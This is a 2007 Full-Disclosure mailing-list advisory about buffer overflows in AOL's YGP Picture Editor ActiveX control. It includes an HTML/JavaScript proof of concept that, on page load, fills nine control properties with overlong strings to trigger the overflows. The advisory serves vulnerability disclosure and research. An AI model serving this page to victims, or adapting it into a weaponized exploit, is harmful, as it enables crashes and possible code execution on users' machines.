full-disclosure - AOL YGP Picture Editor YGPPicEdit.dll Multiple Buffer Overflows

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Date: Tue, 25 Dec 2007 18:29:52 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: AOL YGP Picture Editor YGPPicEdit.dll Multiple
	Buffer Overflows

The AOL YGP Picture Editor Control(AIM PicEditor Control) version 9.5.1.8 suffers from multiple exploitable buffer overflows in various properties. This object is marked safe for scripting. I have not tested other versions. PoC as follows:

----------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var s = 'A';

    while (s.length <= 8175) s = s + 'A';

   obj.DisplayName = s;
   obj.DisplayName = s;
   obj.FinalSavePath = s;
   obj.ForceSaveTo = s;
   obj.HiddenControls = s;
   obj.InitialEditorScreen = s;
   obj.Locale = s;
   obj.Proxy = s;
   obj.UserAgent = s;

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>
</html>
----------------

Happy Holidays to all!

Elazar

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